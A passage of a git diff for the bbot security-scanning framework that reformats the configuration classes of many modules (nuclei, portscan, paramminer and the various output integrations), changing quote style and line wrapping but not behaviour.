template.') - ratelimit: int = Field(150, description='maximum number of requests to send per second (default 150)') - concurrency: int = Field(25, description='maximum number of templates to be executed in parallel (default 25)') + version: str = Field("3.8.0", description="nuclei version") + tags: str = Field("", description="execute a subset of templates that contain the provided tags") + templates: str = Field("", description="template or template directory paths to include in the scan") + severity: str = Field("", description="Filter based on severity field available in the template.") + ratelimit: int = Field(150, description="maximum number of requests to send per second (default 150)") + concurrency: int = Field(25, description="maximum number of templates to be executed in parallel (default 25)") mode: Literal["manual", "technology", "severe", "budget"] = Field( "manual", description=( @@ -34,13 +34,14 @@ class Config(BaseModuleConfig): "Budget: Limit Nuclei to a specified number of HTTP requests" ), ) - etags: str = Field('', description='tags to exclude from the scan') - budget: int = Field(1, description='Used in budget mode to set the number of allowed requests per host') + etags: str = Field("", description="tags to exclude from the scan") + budget: int = Field(1, description="Used in budget mode to set the number of allowed requests per host") silent: bool = Field(False, description="Don't display nuclei's banner or status messages") directory_only: bool = Field(True, description="Filter out 'file' URL event (default True)") - retries: int = Field(0, description='number of times to retry a failed request (default 0)') - batch_size: int = Field(200, description='Number of targets to send to Nuclei per batch (default 200)') - module_timeout: int = Field(21600, description='Max time in seconds to spend handling each batch of events') + retries: int = Field(0, description="number of times to retry a failed request (default 0)") + batch_size: int = Field(200, description="Number of targets to send to Nuclei per batch (default 200)") + module_timeout: int = Field(21600, description="Max time in seconds to spend handling each batch of events") + deps_ansible = [ { "name": "Download nuclei", diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 0843f25353..ac886d58ab 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -14,8 +14,9 @@ class OAUTH(BaseModule): "created_date": "2023-07-12", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - try_all: bool = Field(False, description='Check for OAUTH/IODC on every subdomain and URL.') + try_all: bool = Field(False, description="Check for OAUTH/IODC on every subdomain and URL.") in_scope_only = False scope_distance_modifier = 1 diff --git a/bbot/modules/otx.py b/bbot/modules/otx.py index 40100a81d3..8e2f91ea69 100644 --- a/bbot/modules/otx.py +++ b/bbot/modules/otx.py @@ -13,8 +13,9 @@ class otx(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='OTX API key') + api_key: str = Field("", description="OTX API key") base_url = "https://otx.alienvault.com" diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py index 22d91e3542..380072b5de 100644 --- a/bbot/modules/output/asset_inventory.py +++ b/bbot/modules/output/asset_inventory.py @@ -39,11 +39,18 @@ class asset_inventory(CSV): "created_date": "2022-09-30", "author": "@liquidsec", } + class Config(BaseModuleConfig): - output_file: str = Field('', description='Set a custom output file') - use_previous: bool = Field(False, description='Emit previous asset inventory as new events (use in conjunction with -n )') - recheck: bool = Field(False, description="When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan") - summary_netmask: int = Field(16, description='Subnet mask to use when summarizing IP addresses at end of scan') + output_file: str = Field("", description="Set a custom output file") + use_previous: bool = Field( + False, + description="Emit previous asset inventory as new events (use in conjunction with -n )", + ) + recheck: bool = Field( + False, + description="When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan", + ) + summary_netmask: int = Field(16, description="Subnet mask to use when summarizing IP addresses at end of scan") header_row = [ "Host", diff --git a/bbot/modules/output/csv.py b/bbot/modules/output/csv.py index 677e04ebd9..237d2360bf 100644 --- a/bbot/modules/output/csv.py +++ b/bbot/modules/output/csv.py @@ -9,8 +9,9 @@ class CSV(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to CSV", "created_date": "2022-04-07", "author": "@TheTechromancer"} + class Config(BaseModuleConfig): - output_file: str = Field('', description='Output to CSV file') + output_file: str = Field("", description="Output to CSV file") header_row = [ "Event type", diff --git a/bbot/modules/output/discord.py b/bbot/modules/output/discord.py index f77ada86d8..145d1aefd0 100644 --- a/bbot/modules/output/discord.py +++ b/bbot/modules/output/discord.py @@ -10,8 +10,9 @@ class Discord(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - webhook_url: str = Field('', description='Discord webhook URL') - event_types: list[str] = Field(['FINDING'], description='Types of events to send') - min_severity: str = Field('LOW', description='Only allow FINDING events of this severity or higher') - retries: int = Field(10, description='Number of times to retry sending the message before skipping the event') + webhook_url: str = Field("", description="Discord webhook URL") + event_types: list[str] = Field(["FINDING"], description="Types of events to send") + min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") + retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index b35e6ab19c..b2a5e19323 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -14,11 +14,15 @@ class Elastic(HTTP): "created_date": "2022-11-21", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - url: str = Field('https://localhost:9200/bbot_events/_doc', description='Elastic URL (e.g. https://localhost:9200//_doc)') - username: str = Field('elastic', description='Elastic username') - password: str = Field('bbotislife', description='Elastic password') - timeout: int = Field(10, description='HTTP timeout') + url: str = Field( + "https://localhost:9200/bbot_events/_doc", + description="Elastic URL (e.g. https://localhost:9200//_doc)", + ) + username: str = Field("elastic", description="Elastic username") + password: str = Field("bbotislife", description="Elastic password") + timeout: int = Field(10, description="HTTP timeout") async def cleanup(self): # refresh the index diff --git a/bbot/modules/output/emails.py b/bbot/modules/output/emails.py index 3fa9c1a839..5bbbc9358d 100644 --- a/bbot/modules/output/emails.py +++ b/bbot/modules/output/emails.py @@ -12,8 +12,10 @@ class Emails(TXT): "created_date": "2023-12-23", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): - output_file: str = Field('', description='Output to file') + output_file: str = Field("", description="Output to file") + in_scope_only = True accept_dupes = False diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index c79f4eb0dd..484c11d1d4 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -11,14 +11,15 @@ class HTTP(BaseOutputModule): "created_date": "2022-04-13", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - url: str = Field('', description='Web URL') - method: str = Field('POST', description='HTTP method') - bearer: str = Field('', description='Authorization Bearer token') - username: str = Field('', description='Username (basic auth)') - password: str = Field('', description='Password (basic auth)') - headers: dict = Field({}, description='Additional headers to send with the request') - timeout: int = Field(10, description='HTTP timeout') + url: str = Field("", description="Web URL") + method: str = Field("POST", description="HTTP method") + bearer: str = Field("", description="Authorization Bearer token") + username: str = Field("", description="Username (basic auth)") + password: str = Field("", description="Password (basic auth)") + headers: dict = Field({}, description="Additional headers to send with the request") + timeout: int = Field(10, description="HTTP timeout") async def setup(self): self.url = self.config.get("url", "") diff --git a/bbot/modules/output/json.py b/bbot/modules/output/json.py index c0e69f36bb..dbd2bb7b7d 100644 --- a/bbot/modules/output/json.py +++ b/bbot/modules/output/json.py @@ -13,8 +13,10 @@ class JSON(BaseOutputModule): "created_date": "2022-04-07", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - output_file: str = Field('', description='Output to file') + output_file: str = Field("", description="Output to file") + _preserve_graph = True async def setup(self): diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index 52dd95b11c..d0db260cbf 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -13,9 +13,13 @@ class Kafka(BaseOutputModule): "created_date": "2024-11-22", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - bootstrap_servers: str = Field('localhost:9092', description='A comma-separated list of Kafka server addresses') - topic: str = Field('bbot_events', description='The Kafka topic to publish events to') + bootstrap_servers: str = Field( + "localhost:9092", description="A comma-separated list of Kafka server addresses" + ) + topic: str = Field("bbot_events", description="The Kafka topic to publish events to") + deps_pip = ["aiokafka~=0.12.0"] async def setup(self): diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index f9c2ad185a..158f315d76 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -19,12 +19,14 @@ class Mongo(BaseOutputModule): "created_date": "2024-11-17", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - uri: str = Field('mongodb://localhost:27017', description='The URI of the MongoDB server') - database: str = Field('bbot', description='The name of the database to use') - username: str = Field('', description='The username to use to connect to the database') - password: str = Field('', description='The password to use to connect to the database') - collection_prefix: str = Field('', description='Prefix the name of each collection with this string') + uri: str = Field("mongodb://localhost:27017", description="The URI of the MongoDB server") + database: str = Field("bbot", description="The name of the database to use") + username: str = Field("", description="The username to use to connect to the database") + password: str = Field("", description="The password to use to connect to the database") + collection_prefix: str = Field("", description="Prefix the name of each collection with this string") + deps_pip = ["pymongo~=4.15"] async def setup(self): diff --git a/bbot/modules/output/mysql.py b/bbot/modules/output/mysql.py index f66fc68558..8fd1510acb 100644 --- a/bbot/modules/output/mysql.py +++ b/bbot/modules/output/mysql.py @@ -10,12 +10,14 @@ class MySQL(SQLTemplate): "created_date": "2024-11-13", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - username: str = Field('root', description='The username to connect to MySQL') - password: str = Field('bbotislife', description='The password to connect to MySQL') - host: str = Field('localhost', description='The server running MySQL') - port: int = Field(3306, description='The port to connect to MySQL') - database: str = Field('bbot', description='The database name to connect to') + username: str = Field("root", description="The username to connect to MySQL") + password: str = Field("bbotislife", description="The password to connect to MySQL") + host: str = Field("localhost", description="The server running MySQL") + port: int = Field(3306, description="The port to connect to MySQL") + database: str = Field("bbot", description="The database name to connect to") + deps_pip = ["sqlmodel", "aiomysql"] protocol = "mysql+aiomysql" diff --git a/bbot/modules/output/nats.py b/bbot/modules/output/nats.py index 75c3fdd741..036a9a5750 100644 --- a/bbot/modules/output/nats.py +++ b/bbot/modules/output/nats.py @@ -12,9 +12,11 @@ class NATS(BaseOutputModule): "created_date": "2024-11-22", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - servers: list = Field([], description='A list of NATS server addresses') - subject: str = Field('bbot_events', description='The NATS subject to publish events to') + servers: list = Field([], description="A list of NATS server addresses") + subject: str = Field("bbot_events", description="The NATS subject to publish events to") + deps_pip = ["nats-py"] async def setup(self): diff --git a/bbot/modules/output/neo4j.py b/bbot/modules/output/neo4j.py index 0641269799..21204f8f0e 100644 --- a/bbot/modules/output/neo4j.py +++ b/bbot/modules/output/neo4j.py @@ -35,10 +35,12 @@ class neo4j(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to Neo4j", "created_date": "2022-04-07", "author": "@TheTechromancer"} + class Config(BaseModuleConfig): - uri: str = Field('bolt://localhost:7687', description='Neo4j server + port') - username: str = Field('neo4j', description='Neo4j username') - password: str = Field('bbotislife', description='Neo4j password') + uri: str = Field("bolt://localhost:7687", description="Neo4j server + port") + username: str = Field("neo4j", description="Neo4j username") + password: str = Field("bbotislife", description="Neo4j password") + deps_pip = ["neo4j"] _batch_size = 500 _preserve_graph = True diff --git a/bbot/modules/output/postgres.py b/bbot/modules/output/postgres.py index 61694b2f4b..ffbbe72afe 100644 --- a/bbot/modules/output/postgres.py +++ b/bbot/modules/output/postgres.py @@ -10,12 +10,14 @@ class Postgres(SQLTemplate): "created_date": "2024-11-08", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - username: str = Field('postgres', description='The username to connect to Postgres') - password: str = Field('bbotislife', description='The password to connect to Postgres') - host: str = Field('localhost', description='The server running Postgres') - port: int = Field(5432, description='The port to connect to Postgres') - database: str = Field('bbot', description='The database name to connect to') + username: str = Field("postgres", description="The username to connect to Postgres") + password: str = Field("bbotislife", description="The password to connect to Postgres") + host: str = Field("localhost", description="The server running Postgres") + port: int = Field(5432, description="The port to connect to Postgres") + database: str = Field("bbot", description="The database name to connect to") + deps_pip = ["sqlmodel", "asyncpg"] protocol = "postgresql+asyncpg" diff --git a/bbot/modules/output/rabbitmq.py b/bbot/modules/output/rabbitmq.py index 8e28e4c649..c5bff3a78c 100644 --- a/bbot/modules/output/rabbitmq.py +++ b/bbot/modules/output/rabbitmq.py @@ -13,9 +13,11 @@ class RabbitMQ(BaseOutputModule): "created_date": "2024-11-22", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - url: str = Field('amqp://guest:guest@localhost/', description='The RabbitMQ connection URL') - queue: str = Field('bbot_events', description='The RabbitMQ queue to publish events to') + url: str = Field("amqp://guest:guest@localhost/", description="The RabbitMQ connection URL") + queue: str = Field("bbot_events", description="The RabbitMQ queue to publish events to") + deps_pip = ["aio_pika~=9.5.0"] async def setup(self): diff --git a/bbot/modules/output/slack.py b/bbot/modules/output/slack.py index 056bed4389..b1109ac99d 100644 --- a/bbot/modules/output/slack.py +++ b/bbot/modules/output/slack.py @@ -12,11 +12,13 @@ class Slack(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - webhook_url: str = Field('', description='Discord webhook URL') - event_types: list[str] = Field(['FINDING'], description='Types of events to send') - min_severity: str = Field('LOW', description='Only allow FINDING events of this severity or higher') - retries: int = Field(10, description='Number of times to retry sending the message before skipping the event') + webhook_url: str = Field("", description="Discord webhook URL") + event_types: list[str] = Field(["FINDING"], description="Types of events to send") + min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") + retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") + content_key = "text" def format_message_str(self, event): diff --git a/bbot/modules/output/splunk.py b/bbot/modules/output/splunk.py index 97d33a6bc1..c0d45b89e6 100644 --- a/bbot/modules/output/splunk.py +++ b/bbot/modules/output/splunk.py @@ -11,12 +11,13 @@ class Splunk(BaseOutputModule): "created_date": "2024-02-17", "author": "@w0Tx", } + class Config(BaseModuleConfig): - url: str = Field('', description='Web URL') - hectoken: str = Field('', description='HEC Token') - index: str = Field('', description='Index to send data to') - source: str = Field('', description='Source path to be added to the metadata') - timeout: int = Field(10, description='HTTP timeout') + url: str = Field("", description="Web URL") + hectoken: str = Field("", description="HEC Token") + index: str = Field("", description="Index to send data to") + source: str = Field("", description="Source path to be added to the metadata") + timeout: int = Field(10, description="HTTP timeout") async def setup(self): self.url = self.config.get("url", "") diff --git a/bbot/modules/output/sqlite.py b/bbot/modules/output/sqlite.py index b6a0e11d37..e306664354 100644 --- a/bbot/modules/output/sqlite.py +++ b/bbot/modules/output/sqlite.py @@ -12,8 +12,10 @@ class SQLite(SQLTemplate): "created_date": "2024-11-07", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - database: str = Field('', description='The path to the sqlite database file') + database: str = Field("", description="The path to the sqlite database file") + deps_pip = ["sqlmodel", "aiosqlite"] async def setup(self): diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 73d59370dc..9c43ed06e3 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -9,12 +9,14 @@ class Stdout(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to text", "created_date": "2024-04-03", "author": "@TheTechromancer"} + class Config(BaseModuleConfig): - format: str = Field('text', description='Which text format to display, choices: text,json') - event_types: list = Field([], description='Which events to display, default all event types') - event_fields: list = Field([], description='Which event fields to display') - in_scope_only: bool = Field(False, description='Whether to only show in-scope events') - accept_dupes: bool = Field(True, description='Whether to show duplicate events, default True') + format: str = Field("text", description="Which text format to display, choices: text,json") + event_types: list = Field([], description="Which events to display, default all event types") + event_fields: list = Field([], description="Which event fields to display") + in_scope_only: bool = Field(False, description="Whether to only show in-scope events") + accept_dupes: bool = Field(True, description="Whether to show duplicate events, default True") + vuln_severity_map = { "INFO": "HUGEINFO", "LOW": "HUGEWARNING", diff --git a/bbot/modules/output/subdomains.py b/bbot/modules/output/subdomains.py index 0e58d3e842..eebda26720 100644 --- a/bbot/modules/output/subdomains.py +++ b/bbot/modules/output/subdomains.py @@ -12,9 +12,11 @@ class Subdomains(TXT): "created_date": "2023-07-31", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - output_file: str = Field('', description='Output to file') - include_unresolved: bool = Field(False, description='Include unresolved subdomains in output') + output_file: str = Field("", description="Output to file") + include_unresolved: bool = Field(False, description="Include unresolved subdomains in output") + accept_dupes = False in_scope_only = True diff --git a/bbot/modules/output/teams.py b/bbot/modules/output/teams.py index c4fd7a3bac..31db1ceef9 100644 --- a/bbot/modules/output/teams.py +++ b/bbot/modules/output/teams.py @@ -10,11 +10,12 @@ class Teams(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - webhook_url: str = Field('', description='Teams webhook URL') - event_types: list[str] = Field(['FINDING'], description='Types of events to send') - min_severity: str = Field('LOW', description='Only allow FINDING events of this severity or higher') - retries: int = Field(10, description='Number of times to retry sending the message before skipping the event') + webhook_url: str = Field("", description="Teams webhook URL") + event_types: list[str] = Field(["FINDING"], description="Types of events to send") + min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") + retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") async def handle_event(self, event): data = self.format_message(event) diff --git a/bbot/modules/output/txt.py b/bbot/modules/output/txt.py index 42fd12d1fe..b4c123168f 100644 --- a/bbot/modules/output/txt.py +++ b/bbot/modules/output/txt.py @@ -8,8 +8,9 @@ class TXT(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to text", "created_date": "2024-04-03", "author": "@TheTechromancer"} + class Config(BaseModuleConfig): - output_file: str = Field('', description='Output to file') + output_file: str = Field("", description="Output to file") output_filename = "output.txt" diff --git a/bbot/modules/output/web_parameters.py b/bbot/modules/output/web_parameters.py index 1edf5a1b7a..0e4a6b625c 100644 --- a/bbot/modules/output/web_parameters.py +++ b/bbot/modules/output/web_parameters.py @@ -13,9 +13,10 @@ class Web_parameters(BaseOutputModule): "created_date": "2025-01-25", "author": "@liquidsec", } + class Config(BaseModuleConfig): - output_file: str = Field('', description='Output to file') - include_count: bool = Field(False, description='Include the count of each parameter in the output') + output_file: str = Field("", description="Output to file") + include_count: bool = Field(False, description="Include the count of each parameter in the output") output_filename = "web_parameters.txt" diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index 81f984540e..d6dcfbbd95 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -12,9 +12,14 @@ class web_report(BaseOutputModule): "created_date": "2023-02-08", "author": "@liquidsec", } + class Config(BaseModuleConfig): - output_file: str = Field('', description='Output to file') - css_theme_file: str = Field('https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css', description='CSS theme URL for HTML output') + output_file: str = Field("", description="Output to file") + css_theme_file: str = Field( + "https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css", + description="CSS theme URL for HTML output", + ) + deps_pip = ["markdown~=3.4.3"] async def setup(self): diff --git a/bbot/modules/output/websocket.py b/bbot/modules/output/websocket.py index d5f3d92c8f..1ca60a36ca 100644 --- a/bbot/modules/output/websocket.py +++ b/bbot/modules/output/websocket.py @@ -11,11 +11,16 @@ class Websocket(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to websockets", "created_date": "2022-04-15", "author": "@TheTechromancer"} + class Config(BaseModuleConfig): - url: str = Field('', description='Web URL') - token: str = Field('', description='Authorization Bearer token') - preserve_graph: bool = Field(True, description='Preserve full chains of events in the graph (prevents orphans)') - ignore_ssl: bool = Field(False, description='Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.)') + url: str = Field("", description="Web URL") + token: str = Field("", description="Authorization Bearer token") + preserve_graph: bool = Field( + True, description="Preserve full chains of events in the graph (prevents orphans)" + ) + ignore_ssl: bool = Field( + False, description="Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.)" + ) async def setup(self): self.url = self.config.get("url", "") diff --git a/bbot/modules/output/zeromq.py b/bbot/modules/output/zeromq.py index c9a7e4059f..b481fa1e7c 100644 --- a/bbot/modules/output/zeromq.py +++ b/bbot/modules/output/zeromq.py @@ -13,8 +13,11 @@ class ZeroMQ(BaseOutputModule): "created_date": "2024-11-22", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - zmq_address: str = Field('', description='The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555)') + zmq_address: str = Field( + "", description="The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555)" + ) async def setup(self): self.zmq_address = self.config.get("zmq_address", "") diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index c85b8e92f5..fe20d75ba5 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -16,14 +16,14 @@ class paramminer_cookies(paramminer_headers): "created_date": "2022-06-27", "author": "@liquidsec", } + class Config(BaseModuleConfig): wordlist: str = Field("", description="Define the wordlist to be used to derive cookies") recycle_words: bool = Field( False, description="Attempt to use words found during the scan on all other endpoints" ) - skip_boring_words: bool = Field( - True, description="Remove commonly uninteresting words from the wordlist" - ) + skip_boring_words: bool = Field(True, description="Remove commonly uninteresting words from the wordlist") + scanned_hosts = [] boring_words = set() _module_threads = 12 diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index 98e9497f69..6471822168 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -17,10 +17,14 @@ class paramminer_getparams(paramminer_headers): "author": "@liquidsec", } scanned_hosts = [] + class Config(BaseModuleConfig): - wordlist: str = Field('', description='Define the wordlist to be used to derive headers') - recycle_words: bool = Field(False, description='Attempt to use words found during the scan on all other endpoints') - skip_boring_words: bool = Field(True, description='Remove commonly uninteresting words from the wordlist') + wordlist: str = Field("", description="Define the wordlist to be used to derive headers") + recycle_words: bool = Field( + False, description="Attempt to use words found during the scan on all other endpoints" + ) + skip_boring_words: bool = Field(True, description="Remove commonly uninteresting words from the wordlist") + boring_words = {"utm_source", "utm_campaign", "utm_medium", "utm_term", "utm_content"} in_scope_only = True compare_mode = "getparam" diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index c99388ffae..0d0a8cf84a 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -19,10 +19,14 @@ class paramminer_headers(BaseModule): "created_date": "2022-04-15", "author": "@liquidsec", } + class Config(BaseModuleConfig): - wordlist: str = Field('', description='Define the wordlist to be used to derive headers') - recycle_words: bool = Field(False, description='Attempt to use words found during the scan on all other endpoints') - skip_boring_words: bool = Field(True, description='Remove commonly uninteresting words from the wordlist') + wordlist: str = Field("", description="Define the wordlist to be used to derive headers") + recycle_words: bool = Field( + False, description="Attempt to use words found during the scan on all other endpoints" + ) + skip_boring_words: bool = Field(True, description="Remove commonly uninteresting words from the wordlist") + scanned_hosts = [] boring_words = { "accept", diff --git a/bbot/modules/passivetotal.py b/bbot/modules/passivetotal.py index d5d5f26611..8758693adb 100644 --- a/bbot/modules/passivetotal.py +++ b/bbot/modules/passivetotal.py @@ -13,8 +13,9 @@ class passivetotal(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description="PassiveTotal API Key in the format of 'username:api_key'") + api_key: str = Field("", description="PassiveTotal API Key in the format of 'username:api_key'") base_url = "https://api.passivetotal.org/v2" diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py index 8e53c4e48c..61f596c478 100644 --- a/bbot/modules/pgp.py +++ b/bbot/modules/pgp.py @@ -12,8 +12,17 @@ class pgp(subdomain_enum): "created_date": "2022-08-10", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - search_urls: list[str] = Field(['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index'], description='PGP key servers to search') + search_urls: list[str] = Field( + [ + "https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=", + "http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=", + "https://pgpkeys.eu/pks/lookup?search=&op=index", + "https://pgp.mit.edu/pks/lookup?search=&op=index", + ], + description="PGP key servers to search", + ) async def handle_event(self, event): query = self.make_query(event) diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py index 9d006b2af5..25d943c595 100644 --- a/bbot/modules/portfilter.py +++ b/bbot/modules/portfilter.py @@ -11,9 +11,12 @@ class portfilter(BaseInterceptModule): "created_date": "2025-01-06", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - cdn_tags: str = Field('cdn,waf', description="Comma-separated list of tags to skip, e.g. 'cdn,waf'") - allowed_cdn_ports: str = Field('80,443', description='Comma-separated list of ports that are allowed to be scanned for CDNs') + cdn_tags: str = Field("cdn,waf", description="Comma-separated list of tags to skip, e.g. 'cdn,waf'") + allowed_cdn_ports: str = Field( + "80,443", description="Comma-separated list of ports that are allowed to be scanned for CDNs" + ) _priority = 4 # we consume URLs but we don't want to automatically enable httpx diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index 1d991e403f..d9749e854a 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -20,18 +20,31 @@ class portscan(BaseModule): "created_date": "2024-05-15", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): top_ports: int = Field(100, description="Top ports to scan (default 100) (to override, specify 'ports')") - ports: str = Field('', description='Ports to scan') - rate: int = Field(300, description='Rate in packets per second') - wait: int = Field(5, description='Seconds to wait for replies after scan is complete') - ping_first: bool = Field(False, description='Only portscan hosts that reply to pings') - ping_only: bool = Field(False, description='Ping sweep only, no portscan') - adapter: str = Field('', description='Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used.') - adapter_ip: str = Field('', description="Send packets using this IP address. Not needed unless masscan's autodetection fails") - adapter_mac: str = Field('', description="Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails") - router_mac: str = Field('', description="Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails") - module_timeout: int = Field(259200, description='Max time in seconds to spend handling each batch of events') + ports: str = Field("", description="Ports to scan") + rate: int = Field(300, description="Rate in packets per second") + wait: int = Field(5, description="Seconds to wait for replies after scan is complete") + ping_first: bool = Field(False, description="Only portscan hosts that reply to pings") + ping_only: bool = Field(False, description="Ping sweep only, no portscan") + adapter: str = Field( + "", + description='Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used.', + ) + adapter_ip: str = Field( + "", description="Send packets using this IP address. Not needed unless masscan's autodetection fails" + ) + adapter_mac: str = Field( + "", + description="Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails", + ) + router_mac: str = Field( + "", + description="Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails", + ) + module_timeout: int = Field(259200, description="Max time in seconds to spend handling each batch of events") + deps_common = ["masscan"] batch_size = 1000000 _shuffle_incoming_queue = False diff --git a/bbot/modules/postman.py b/bbot/modules/postman.py index 076e763c1f..a182894514 100644 --- a/bbot/modules/postman.py +++ b/bbot/modules/postman.py @@ -12,8 +12,10 @@ class postman(postman): "created_date": "2024-09-07", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Postman API Key') + api_key: str = Field("", description="Postman API Key") + reject_wildcards = False async def handle_event(self, event): diff --git a/bbot/modules/postman_download.py b/bbot/modules/postman_download.py index 34fdf8c6bd..7f063303ec 100644 --- a/bbot/modules/postman_download.py +++ b/bbot/modules/postman_download.py @@ -15,9 +15,14 @@ class postman_download(postman): "created_date": "2024-09-07", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): - output_folder: str = Field('', description='Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.') - api_key: str = Field('', description='Postman API Key') + output_folder: str = Field( + "", + description="Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.", + ) + api_key: str = Field("", description="Postman API Key") + scope_distance_modifier = 2 async def setup(self): diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index d07dbeb7b0..b2d2d8323d 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -29,10 +29,13 @@ class retirejs(BaseModule): "created_date": "2025-08-19", "author": "@liquidsec", } + class Config(BaseModuleConfig): - version: str = Field('5.3.0', description='retire.js version') - node_version: str = Field('18.19.1', description='Node.js version to install locally') - severity: str = Field('medium', description='Minimum severity level to report (none, low, medium, high, critical)') + version: str = Field("5.3.0", description="retire.js version") + node_version: str = Field("18.19.1", description="Node.js version to install locally") + severity: str = Field( + "medium", description="Minimum severity level to report (none, low, medium, high, critical)" + ) deps_ansible = [ # Download Node.js binary (Linux x64) diff --git a/bbot/modules/securitytrails.py b/bbot/modules/securitytrails.py index c686f4c120..092e478972 100644 --- a/bbot/modules/securitytrails.py +++ b/bbot/modules/securitytrails.py @@ -13,8 +13,9 @@ class securitytrails(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='SecurityTrails API key') + api_key: str = Field("", description="SecurityTrails API key") base_url = "https://api.securitytrails.com/v1" ping_url = f"{base_url}/ping?apikey={{api_key}}" diff --git a/bbot/modules/securitytxt.py b/bbot/modules/securitytxt.py index fb84e5d1b2..e32c3f92b2 100644 --- a/bbot/modules/securitytxt.py +++ b/bbot/modules/securitytxt.py @@ -66,9 +66,10 @@ class securitytxt(BaseModule): "author": "@colin-stubbs", "created_date": "2024-05-26", } + class Config(BaseModuleConfig): - emails: bool = Field(True, description='emit 